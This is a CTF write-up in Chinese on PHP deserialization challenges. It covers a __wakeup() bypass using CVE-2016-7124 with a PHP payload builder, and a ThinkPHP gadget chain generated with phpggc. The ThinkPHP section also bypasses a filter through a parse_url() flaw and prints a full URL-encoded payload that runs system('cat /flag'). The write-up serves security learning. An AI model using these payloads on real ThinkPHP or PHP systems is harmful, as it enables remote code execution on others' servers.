Web
[极客大挑战 2019]PHP
考察点:php原生反序列化bypass __wakeup()
先根据页面提示fuzz出网站备份文件www.zip
,推测就是网站源码下载下来
注意到index.php
中包含了class.php
,并且还调用了反序列化函数,只有用GET
方法给select
传参后才会触发,将反序列化结果作为请求返回的响应。
接着审计class.php
:
发现获取flag的逻辑包含在__destruct()
中,先审其中的if判断,要满足password = 100
并且username = 'admin'
,另外还注意到__wakeup()
中,只要触发,username = 'guest'
就会覆盖掉任何我们输入的用户名从而不可能获取flag,所以我们必须让它不触发,也就是要实现bypass:
根据CVE-2016-7124,当序列化字符串中表示对象属性个数的值大于真实属性个数时,就会跳过__wakeup()
的触发
所以构造pop链如下:
<?php
//class Test{
// public $sex;
// public $name;
// public $age;
//}
//$a = new Test("cvestone", "18", "man");
//var_dump(serialize($a));
//echo '<br><br>';
//// 替换序列化输出中表示对象的属性个数,使其值大于真实属性个数,从而绕过__wakeup
//$b = serialize($a);
//$c = preg_replace('/:3/', ':4', $b, 1);
//var_dump($c);
//echo '<br><br>';
class Name{
private $username = 'nonono';
private $password = 'yesyes';
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
}
$a = new Name("admin", 100);
var_dump(serialize($a));
echo '<br><br>';
echo urlencode(serialize($a));
注意要保留原来类中属性的访问修饰符,不要修改。
【研究访问属性的限制对反序列化结果的影响】
然后替换掉对象属性个数值:
传参,拿到flag:
[安洵杯 2019]easy_serialize_php
考察点:php原生反序列化字符串逃逸(过滤后长度减少)
[安洵杯 2019]iamthinking
考察点:php框架thinkPHP反序列化漏洞利用;parse_url()
解析漏洞bypass
【Deploy Files】
题目描述:/public/
访问的初始页面就是403
,首先根据提示进入/public/
,也没有获取什么信息,也没有识别出是什么框架:
那就尝试fuzz目录和敏感文件,最后扫到www.zip
,也就是说可以下载源码,从源码中暴露了用到的框架和版本信息:
可以先尝试利用自动化工具phpggc
自动构建payload:
根据版本只有最后两个可以尝试。
生成对应payload,注意要进行url编码:
然后我们需要知道在哪个接口以及哪个参数中调用了反序列化函数,还需要知道相应的关键逻辑,所以需要白盒测试一下,将项目导入到phpstorm,然后直接全局搜索序列化或反序列化函数:
发现index.php
中的GET参数payload
被反序列化处理,但是在这之前有过滤措施:
首先,代码使用 parse_url()
函数解析当前请求的 URL,并使用 parse_str()
函数解析 URL 中的查询参数,并将其存储在 $query
数组中。然后,代码遍历 $query
数组中的每个值,并使用正则表达式判断是否以字母 "O"
(不区分大小写)开头。如果匹配到以 "O" 开头的值,代码输出 "STOP HACKING" 并终止程序的执行。显然这正是针对反序列化攻击的,所以这么一看,我们生成的payload没有通过检测。但是实际上,parse_url()
实际上存在解析漏洞:
具体详细解释参考该文章
只要当我们让parse_url()
返回false就不会继续往下执行foreach
的内容,所以我们最终修改url的path,结合payload构造如下:
///public/?payload=O%3A17%3A%22think%5Cmodel%5CPivot%22%3A9%3A%7Bs%3A19%3A%22%00think%5CModel%00exists%22%3Bb%3A1%3Bs%3A18%3A%22%00think%5CModel%00force%22%3Bb%3A1%3Bs%3A21%3A%22%00think%5CModel%00lazySave%22%3Bb%3A1%3Bs%3A9%3A%22%00%2A%00suffix%22%3BO%3A17%3A%22think%5Cmodel%5CPivot%22%3A9%3A%7Bs%3A19%3A%22%00think%5CModel%00exists%22%3BN%3Bs%3A18%3A%22%00think%5CModel%00force%22%3BN%3Bs%3A21%3A%22%00think%5CModel%00lazySave%22%3BN%3Bs%3A9%3A%22%00%2A%00suffix%22%3BN%3Bs%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A3%3A%22key%22%3Ba%3A1%3A%7Bs%3A3%3A%22key%22%3Bs%3A9%3A%22cat%20%2Fflag%22%3B%7D%7Ds%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A3%3A%22key%22%3Ba%3A1%3A%7Bs%3A3%3A%22key%22%3Bs%3A6%3A%22system%22%3B%7D%7Ds%3A7%3A%22%00%2A%00json%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A3%3A%22key%22%3B%7Ds%3A12%3A%22%00%2A%00jsonAssoc%22%3Bb%3A1%3Bs%3A12%3A%22%00%2A%00withEvent%22%3BN%3B%7Ds%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A3%3A%22key%22%3Ba%3A1%3A%7Bs%3A3%3A%22key%22%3Bs%3A9%3A%22cat%20%2Fflag%22%3B%7D%7Ds%3A21%3A%22%00think%5CModel%00withAttr%22%3BN%3Bs%3A7%3A%22%00%2A%00json%22%3BN%3Bs%3A12%3A%22%00%2A%00jsonAssoc%22%3BN%3Bs%3A12%3A%22%00%2A%00withEvent%22%3Bb%3A0%3B%7D
拿到flag:
当然,出于学习目的,这题最好还是用手工白盒分析然后自己构造payload的方式,参考文章
Comments NOTHING